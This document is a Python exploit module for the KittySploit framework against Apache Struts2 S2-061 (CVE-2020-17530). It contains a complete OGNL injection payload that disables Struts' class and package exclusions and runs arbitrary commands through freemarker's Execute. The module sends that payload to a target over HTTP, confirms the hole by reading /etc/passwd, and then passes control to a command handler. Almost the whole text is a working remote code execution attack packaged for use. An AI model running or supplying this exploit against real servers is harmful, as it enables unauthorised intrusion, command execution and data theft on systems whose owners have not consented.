Apache Struts2 S2-061 RCE (CVE-2020-17530)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 S2-061 forced OGNL RCE (CVE-2020-17530)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Struts2 S2-061 RCE (CVE-2020-17530)',
        'description': (
            'Exploits CVE-2020-17530 (S2-061) in Apache Struts 2.0.0–2.5.25: forced OGNL '
            'evaluation in tag attributes yields remote command execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-17530'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-17530'],
        'tags': ['struts', 'apache', 'ognl', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2020_17530_detect']},
        },
    }

    target_param = OptString('id', 'Query parameter name to inject', required=False, advanced=True)

    def _ognl(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        return (
            '%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).'
            '(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).'
            '(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).'
            '(#bean.setBean(#stack)).(#context=#bean.get("context")).'
            '(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).'
            '(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).'
            '(#bean.put("excludedClasses",#emptyset)).'
            '(#bean.put("excludedPackageNames",#emptyset)).'
            '(#arglist=#instancemanager.newInstance("java.util.ArrayList")).'
            f'(#arglist.add("{safe}")).'
            '(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).'
            '(#execute.exec(#arglist))}'
        )

    def execute(self, cmd: str) -> str:
        param = str(self.target_param or 'id')
        ognl = urllib.parse.quote(self._ognl(cmd), safe='')
        r = self.http_request(method='GET', path=f'/?{param}={ognl}', allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2020-17530 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Struts S2-061 failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()